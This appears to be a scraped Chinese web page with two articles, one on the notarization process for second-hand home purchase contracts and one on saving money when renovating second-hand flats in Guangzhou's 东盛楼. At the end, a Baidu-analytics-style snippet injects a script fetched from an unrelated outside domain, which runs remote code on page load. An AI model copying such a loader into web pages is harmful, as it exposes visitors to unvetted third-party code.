二手房购房合同公证流程盘点

由于现在经济发展的速度非常快，并且人口增长的也极为迅速，但是每个地区到土地都是有限的，所以很多人都购买不上房屋，特别是近些年来房价不断的上涨，还有一些炒房人员在从中作祟，导致了真正用房的人买不到新房。不过大家都退而求其次选择二手房，二手房经过装修之后，其实与新房并无太大差异，二手房在购买过程中，一定会签订购房合同，购房合同需要经过公证，下面就为大家介绍一下公证的流程。二手房购房合同公证流程一、买卖双方共同向公证处提出公证申请1、卖方需要提交如下材料：身份证、护照、军官证、户口本、房屋产权证、土地证、结婚证等;2、买方需要提供身份证、护照、军官证、户口本等;3、如果一方当事人不能亲自到场委托他人办理的还必须提交经过公证的授权委托书;如果交易房产是多人共有的，则卖方应为所有共有人(以及其配偶)，需要全部到场。二、公证员根据当事人提交的证明材料进行审查1、申请人提供的身份证明文件是否与其本人一致;2、申请人的行为能力是否完全具有，不存在限制行为能力或无行为能力的情形;3、申请人进行房屋买卖交易以及公证的意思真实是否真实自愿;4、申请人自己对于即将进行的交易以及公证所认识的后果是否与其行为实际产生的后果一致;5、买卖双方对于交易的主要条款(如交易标的、交易金额、付款方式等)认识无异议，或者至少已经基本达成一致;6、交易的房产所有权明确，不存在限制或者禁止交易的情形;7、如果交易房产存在多个所有权人，则所有的产权人都与买受人达成了一致的意思表示;8、当事人的申请符合公证管辖的规定。以上就是我们的二手房买卖合同进行公证的流程问题了，同时，我们在签订二手房买卖合同的时候也有很多需要注意的事项，二手房买卖需要缴税吗?二手房可以分期付款吗?如果你还想要了解这方面的问题请具体联系我们律师365，我们会根据您的具体问题，为您做最专业，最全面的法律分析。二手房在买卖的过程中签订合同会更加的保险一些，划分好房屋的归属权，以免日后产生纷争，如此一来，我们通过购房取得的二手房屋一样是受法律保护的。二手房屋的购房合同经过公证之后才具有效益，所以我们必须要找到相关人士进行公证，工作的过程可能会比较麻烦，但是大家要耐心一点，毕竟事关财产问题，而且公证也需要一定的时间才可以。

东盛楼二手房翻新装修省钱小妙招

当前广州地价高昂的房地产市场环境下，很多东盛楼居民在购置房屋时选择经济实惠的东盛楼二手房，不仅价格合适，而且获得了良好的地理位置。但是，挑选好了房子，接下来又开始面临二手房翻新装修的问题。那么，东盛楼二手房如何缩减开支呢？其实，只要规划得当，东盛楼二手房在翻新过程中是可以节约一部分开销的。一起来了解一下吧！1、墙体不要随意拆除在东盛楼二手房翻新过程中，很多居民想都没想就会先动手把墙体全面拆除，然后重新改造。但其实墙体的拆除重建将会花费很大一笔开销，如果我们在拆墙前能够谨慎对待，预先考察规划，保留较好的墙面，就可以节省一些不必要的人力物力。2、在翻新过程中善于变废为宝对很多房主来讲，东盛楼二手房的翻新是一个耗资不低的工程，预算比较紧张，这就需要我们能够巧妙利用二手房内的现有资源变废为宝。对于房内原有的物件可以选择性地作保留，比如家中的一些橱柜家具、木地板等，拆除搬运比较麻烦，如果没太大损坏，可以选择继续保留使用。3、卫生间排水不要随意变动很多人翻新旧楼时会对水电大肆改造，但其实这并不是最好的做法。东盛楼二手房内的旧式卫生间一般采用侧排水，考虑到卫生间的地面高度比较高，在改造翻新过程中极有可能会损坏楼板总体结构，也会对楼上下的邻居造成影响，因此建议不要随意拆检卫生间排水系统，尽量保留原有模式，这样也帮助了大家缩减开支。看了上述东盛楼二手房翻新省钱小妙招，希望您能从中有所启发。同时小编提醒大家理性规划，能省的钱要省，不能省的钱千万不要舍不得花，房屋装修还是要谨慎对待。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();